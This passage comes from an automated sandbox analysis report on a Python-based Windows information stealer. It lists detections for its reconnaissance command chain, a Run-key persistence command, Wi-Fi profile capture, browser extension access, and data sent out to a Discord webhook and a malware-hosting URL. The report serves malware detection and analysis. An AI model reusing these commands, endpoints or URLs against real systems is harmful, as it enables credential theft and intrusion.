####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7224, ParentProcessName: cmd.exe, ProcessCommandLine: net user, ProcessId: 7652, ProcessName: net.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe Get-Clipboard, CommandLine: powershell.exe Get-Clipboard, CommandLine|base64offset|contains: ~Xn, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7096, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe Get-Clipboard, ProcessId: 6988, ProcessName: powershell.exe

Sigma detected: SC.EXE Query Execution

Source: Process started

Author: frack113: Data: Command: sc query type= service state= all, CommandLine: sc query type= service state= all, CommandLine|base64offset|contains: , Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7224, ParentProcessName: cmd.exe, ProcessCommandLine: sc query type= service state= all, ProcessId: 7980, ProcessName: sc.exe

Sigma detected: Suspicious Execution of Hostname

Source: Process started

Author: frack113: Data: Command: hostname, CommandLine: hostname, CommandLine|base64offset|contains: -, Image: C:\Windows\System32\HOSTNAME.EXE, NewProcessName: C:\Windows\System32\HOSTNAME.EXE, OriginalFileName: C:\Windows\System32\HOSTNAME.EXE, ParentCommandLine: C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7224, ParentProcessName: cmd.exe, ProcessCommandLine: hostname, ProcessId: 7516, ProcessName: HOSTNAME.EXE

Sigma detected: Suspicious Network Command

Source: Process started

Author: frack113, Christopher Peacock '@securepeacock', SCYTHE '@scythe_io': Data: Command: C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config", CommandLine: C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe", ParentImage: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, ParentProcessId: 6816, ParentProcessName: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup adminis

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7596, ProcessName: svchost.exe

Persistence and Installation Behavior

Sigma detected: Add file from suspicious location to autostart registry

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\system32\cmd.exe /c "reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Exela Update Service" /t REG_SZ /d "C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe" /f", CommandLine: C:\Windows\system32\cmd.exe /c "reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Exela Update Service" /t REG_SZ /d "C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe" /f", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe", ParentImage: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, ParentProcessId: 6816, ParentProcessName: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Exela Update Service" /t REG_SZ /d "C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe" /f", ProcessId: 1076, ProcessName: cmd.exe

Stealing of Sensitive Information

Sigma detected: Capture Wi-Fi password

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\system32\cmd.exe /c "netsh wlan show profiles", CommandLine: C:\Windows\system32\cmd.exe /c "netsh wlan show profiles", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe", ParentImage: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, ParentProcessId: 6816, ParentProcessName: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "netsh wlan show profiles", ProcessId: 7232, ProcessName: cmd.exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://raw.githubusercontent.com/justforExela/injection/main/injection.js

Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe

Avira: detection malicious, Label: HEUR/AGEN.1306040

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe

ReversingLabs: Detection: 39%

Multi AV Scanner detection for submitted file

Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe

ReversingLabs: Detection: 39%

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe

Joe Sandbox ML: detected

Phishing

Overwrites the password of the administrator account

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net user administrator
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user administrator
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net user administrator
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user administrator

Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source:	Binary string: crypto\engine\tb_digest.cENGINE_get_digestcrypto\buffer\buffer.cBUF_MEM_growBUF_MEM_grow_cleancrypto\packet.ccompiler: cl /Zi /Fdossl_static.pdb /MT /Zl /Gs0 /GF /Gy /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG";CPUINFO: OPENSSL_ia32cap=0x%llx:0x%llxOPENSSL_ia32cap env:%sos-specific.dllCPUINFO: crypto\initthread.cOPENSSL_ia32cap source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003420709.00007FFDFA701000.00000040.00000001.01000000.0000001E.sdmp
Source:	Binary string: tRSA_PRIME_INFOeqdmp1dmq1iqmpprime_infosRSAPrivateKeyRSAPublicKeyhashAlgorithmmaskGenAlgorithmsaltLengthtrailerFieldRSA_PSS_PARAMShashFuncmaskGenFuncpSourceFuncRSA_OAEP_PARAMScompiler: cl /Zi /Fdossl_static.pdb /MT /Zl /Gs0 /GF /Gy /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG"3.2.1built on: Fri Feb 23 00:13:44 2024 UTCplatform: VC-WIN64AOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-3"MODULESDIR: "C:\Program Files\OpenSSL\lib\ossl-modules"CPUINFO: N/Anot availablecrypto\init.cOPENSSL_init_cryptocrypto\bio\bio_lib.cBIO_new_exbio_read_internbio_write_internBIO_sendmmsgBIO_recvmmsgBIO_putsBIO_getsBIO_get_line BIO_ctrlBIO_callback_ctrlBIO_find_type source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003420709.00007FFDFA701000.00000040.00000001.01000000.0000001E.sdmp
Source:	Binary string: C:\Users\runneradmin\AppData\Local\Temp\pip-req-build-csg7dlje\src\rust\target\release\deps\cryptography_rust.pdb source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003420709.00007FFDFA701000.00000040.00000001.01000000.0000001E.sdmp
Source:	Binary string: D:\_w\1\b\bin\amd64\python3.pdb source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1657012917.000001FC75808000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1986952157.000002DCCEDE0000.00000002.00000001.01000000.00000006.sdmp, Exela.exe, 00000051.00000003.1831588046.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1650799388.000001FC75802000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1803607087.0000023B784A2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\runneradmin\AppData\Local\Temp\pip-req-build-csg7dlje\src\rust\target\release\deps\cryptography_rust.pdbo source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003420709.00007FFDFA701000.00000040.00000001.01000000.0000001E.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /MT /Zl /Gs0 /GF /Gy /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG" source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003420709.00007FFDFA701000.00000040.00000001.01000000.0000001E.sdmp

Spreading

Performs a network lookup / discovery via ARP

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ARP.EXE arp -a
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ARP.EXE arp -a

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Code function: 0_2_00007FF72AA8842C _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	0_2_00007FF72AA8842C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Code function: 0_2_00007FF72AA78AF0 FindFirstFileExW,FindClose,	0_2_00007FF72AA78AF0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Code function: 0_2_00007FF72AA924C4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_00007FF72AA924C4
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Code function: 0_2_00007FF72AA8842C _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	0_2_00007FF72AA8842C
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Code function: 81_2_00007FF6E3A7842C _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	81_2_00007FF6E3A7842C
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Code function: 81_2_00007FF6E3A68AF0 FindFirstFileExW,FindClose,	81_2_00007FF6E3A68AF0
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Code function: 81_2_00007FF6E3A824C4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	81_2_00007FF6E3A824C4
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Code function: 81_2_00007FF6E3A7842C _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	81_2_00007FF6E3A7842C

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg	Jump to behavior

Networking

Uses netstat to query active network connections and open ports

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\NETSTAT.EXE netstat -ano

Source: Joe Sandbox View	IP Address: 208.95.112.1 208.95.112.1
Source: Joe Sandbox View	IP Address: 162.159.137.232 162.159.137.232
Source: Joe Sandbox View	IP Address: 162.159.128.233 162.159.128.233

Source: unknown

DNS query: name: ip-api.com

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /getServer HTTP/1.1Host: api.gofile.ioAccept: /Accept-Encoding: gzip, deflateUser-Agent: Python/3.11 aiohttp/3.9.3
Source: global traffic	HTTP traffic detected: GET /json HTTP/1.1Host: ip-api.comAccept: /Accept-Encoding: gzip, deflateUser-Agent: Python/3.11 aiohttp/3.9.3

Source: global traffic	DNS traffic detected: DNS query: ip-api.com
Source: global traffic	DNS traffic detected: DNS query: discord.com
Source: global traffic	DNS traffic detected: DNS query: api.gofile.io
Source: global traffic	DNS traffic detected: DNS query: store8.gofile.io

Source: unknown

HTTP traffic detected: POST /api/webhooks/1232453561850531851/OBetju49bFsNbzWeG3Y_1O_or46pmBaTOUd7HjjHcO5X_BaLZ2C-YJ8xGzkF6VbqbsY0 HTTP/1.1Host: discord.comContent-Type: application/jsonAccept: */*Accept-Encoding: gzip, deflateUser-Agent: Python/3.11 aiohttp/3.9.3Content-Length: 1381

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 24 Apr 2024 17:24:19 GMTContent-Type: application/jsonContent-Length: 45Connection: closeset-cookie: __dcfduid=7bd0627c025f11efa7d31a4199c9fe48; Expires=Mon, 23-Apr-2029 17:24:19 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Laxstrict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1713979460x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fODZtPEW%2BMTNE%2BaVAjSqZSYXk1o3MBVDJIR7Nwuw2Hs3icT1kmLI%2F%2FoNzv7BLn8yylT04AkpCEqTHQhlfmk4Z8a0EUMSuZY3gnxp08DLvQHs5EAGZCb8x5Q2Gm2r"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: __sdcfduid=7bd0627c025f11efa7d31a4199c9fe48c4f5e57f9711b81ede957149357073dc7775ed4571b99598883e1a480d310fd4; Expires=Mon, 23-Apr-2029 17:24:19 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=LaxSet-Cookie: __cfruid=22bfe7b5e874aa62114a8089515824a77160f218-1713979459; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 24 Apr 2024 17:24:20 GMTContent-Type: application/jsonContent-Length: 45Connection: closeset-cookie: __dcfduid=7c49fd12025f11efbdd8ee7b659d56a8; Expires=Mon, 23-Apr-2029 17:24:20 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Laxstrict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1713979461x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=d13Kl274CV7G76C%2Ft8Na4Gy%2Fhu6x4Cje3c0er8fa6KYbZLuuBMjuobnDEek3ZJ4eq91RxNxYVn3xnNSMGmxve6lZQKNl%2BUFBC8jkdp4Ob4ouxwLztCV0MLHH0zER"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: __sdcfduid=7c49fd12025f11efbdd8ee7b659d56a8d44545b7b642815a6a554183e4e71fc97bf076171c2e94722355f6e2d4d6f95a; Expires=Mon, 23-Apr-2029 17:24:20 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=LaxSet-Cookie: __cfruid=0f8d95718fc85af237794a7b11ac27ff3aa11215-1713979460; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 24 Apr 2024 17:24:21 GMTContent-Type: application/jsonContent-Length: 45Connection: closestrict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1713979463x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=m8Ey646mwNRy1SWKeH6xTZtK15gcdbjSssffHYufv5o%2FsoLMY7RBfTafqs9uXabQkf1jSDu6EpHDpxWSBV%2BK0L58QN01rubBeGE7s52Q7zsk1xkYcl7RhY%2BTvRgR"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Server: cloudflareCF-RAY: 8797c94d8fe809f3-LAS
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 24 Apr 2024 17:24:28 GMTContent-Type: application/jsonContent-Length: 45Connection: closeset-cookie: __dcfduid=81608906025f11efb039be452c0845c9; Expires=Mon, 23-Apr-2029 17:24:28 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Laxstrict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1713979470x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8pyMWczbleQALJS%2BMQCD44S9SoXDnwVNjYlOGYcGpHbcPsbt3ugBUdVdoWGwQ57MMKdlAbt9Moc4yO9Fxd%2By6lynJefgXGXeHaUfp1xw3FQKDIB1uhHcM8kChF%2F8"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: __sdcfduid=81608906025f11efb039be452c0845c9902407b9c63a87615a9b24dbfd4ff0121e3e8bb9ff0365232310f373b2ba71f9; Expires=Mon, 23-Apr-2029 17:24:28 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=LaxSet-Cookie: __cfruid=418df2eda9f10ccb09d5126301cea6bca0418ed5-1713979468; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None

Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1656121294.000001FC75808000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1656121294.000001FC75815000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1830677200.0000023B784B3000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1830677200.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1651594328.000001FC7580F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1651004020.000001FC75802000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1651489697.000001FC75802000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1651827238.000001FC75802000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652100311.000001FC75806000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1656536234.000001FC75808000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1651594328.000001FC75802000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1655357139.000001FC75808000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1651745342.000001FC7580F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1651915607.000001FC75803000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1657899166.000001FC75808000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1650926851.000001FC75802000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1658168645.000001FC75808000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1657238771.000001FC75808000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1657738135.000001FC75815000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1651284062.000001FC75802000.00000004.00000020.00020000.00000000.sdmp, 